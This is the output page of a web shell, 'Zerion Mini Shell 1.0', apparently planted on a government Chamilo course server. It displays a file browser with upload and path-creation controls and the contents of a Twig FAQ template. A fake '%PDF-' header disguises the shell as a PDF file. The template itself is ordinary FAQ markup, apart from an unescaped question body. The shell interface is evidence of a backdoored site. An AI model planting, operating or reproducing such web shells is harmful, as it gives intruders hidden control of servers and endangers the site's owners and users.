%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/cursos.tjamich.gob.mx/src/Chamilo/FaqBundle/Resources/views/Faq/
Upload File :
Create Path :
Current File : /home/tjamichg/cursos.tjamich.gob.mx/src/Chamilo/FaqBundle/Resources/views/Faq/index.html.twig

{% extends '@ChamiloCore/layout_cms.html.twig' %}

{% block sonata_page_container %}
<h1>FAQ</h1>

    <br />
<div class="well">
<ul>
{% for category in categories %}
    <li class="active">
        <h3>{{ category.getHeadline|e }}</h3>
    </li>
    <ul>
    {% set list = [false] %}
    {% if is_granted('IS_AUTHENTICATED_FULLY') %}
        {% set list = [false, true] %}
    {% endif %}

    {% for question in category.questions if question.onlyAuthUsers in list %}
        {% if question.isActive %}
            <li>
                <a href="#{{ question.id }}">
                    {{ question.getHeadline|e }}
                </a>
            </li>
        {% endif %}
    {% endfor %}
    </ul>
{% endfor %}
</ul>
</div>
<br />

<ul>
{% for category in categories %}
    <li class="active">
        <h2>{{ category.getHeadline|e }}</h2>
    </li>
    <ul>
    {% set list = [false] %}
    {% if is_granted('IS_AUTHENTICATED_FULLY') %}
        {% set list = [false, true] %}
    {% endif %}

    {% for question in category.questions if question.onlyAuthUsers in list %}
        {% if question.isActive %}
            <li>
               <h3>
                   {{ question.getHeadline|e }}
                </h3>
                <a name="{{ question.id }}" id="{{ question.id }}"></a>
                <p>{{ question.getBody }}</p>
            </li>
        {% endif %}
    {% endfor %}
    </ul>
{% endfor %}
</ul>

{% endblock %}

Zerion Mini Shell 1.0